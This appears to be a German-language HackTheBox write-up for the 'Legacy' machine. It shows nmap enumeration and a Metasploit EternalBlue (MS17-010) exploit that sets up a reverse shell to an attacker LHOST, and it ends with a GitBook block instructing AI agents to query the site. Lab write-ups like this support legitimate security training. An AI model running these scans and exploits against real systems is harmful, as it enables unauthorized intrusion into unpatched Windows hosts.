> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Legacy HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SMB-Enumerierung
* Eternalblue-Ausnutzung (MS17-010) (Triple-Z-Exploit)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/6b3839af3275dcce0cb5ec565fb7c64a4e1fbec6" alt=""><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/4ef784c9fb9cd149c8d4885809a3a0366f3862fc" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.4 -oG allPorts
```

<figure><img src="/files/f3ad33964fbc3062a44a5661899a2b8174bf3b23" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Mit der Funktion extractPorts die offenen Ports in kompakter Form anzeigen und in die Zwischenablage kopieren (135,139,445)

<figure><img src="/files/9f069598f976acb4495bf2ba3eeb39747802cb9c" alt="" width="563"><figcaption></figcaption></figure>

Port- und Versionsscan mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
```

<figure><img src="/files/edd72d4783a13558e9f864348d1f0c491753480a" alt=""><figcaption></figcaption></figure>

## Eternalblue-Ausnutzung - SMB (MS17-010)

Die Nmap-Analyse sagt uns, dass der Zielserver eine Version von Windows XP ausführt, sodass wir versuchen können, die Schwachstelle MS17-010 auszunutzen.

Wir starten einen Nmap-Scan, um das Vorhandensein dieser Schwachstelle zu überprüfen:

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

Dieser Scan bestätigt, dass die Maschine für MS17-010 anfällig ist.

<figure><img src="/files/76627d1e7d6872ea7ceac4bddacb34501b95a03f" alt=""><figcaption></figcaption></figure>

### **Ausnutzung mit Metasploit**

Wir suchen nach dem Exploit in Metasploit:

```
msfconsole 
search eternalblue 
```

Wir wählen den ersten aufgelisteten Exploit aus:

```
use 1
```

<figure><img src="/files/047a3c640d5dec7cac90f9e7e784aa12bcbdc476" alt=""><figcaption></figcaption></figure>

Wir konfigurieren die Optionen:

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/04c882ef79ea9d57b70990c12603c0047487836d" alt="" width="563"><figcaption></figcaption></figure>

Dann starten wir den Exploit:

<figure><img src="/files/7cc6a1e76ba9140dc4dec8664eb3da9b23b5fce0" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/4b3105fa0a4cc640f9c6ed396c9ec427cb27199d" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b3afc5ba94d13901a4a710defb0929762e07ed89" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/900484339e7e11a492e9f4f42c1986386e1d56a3" alt="" width="514"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
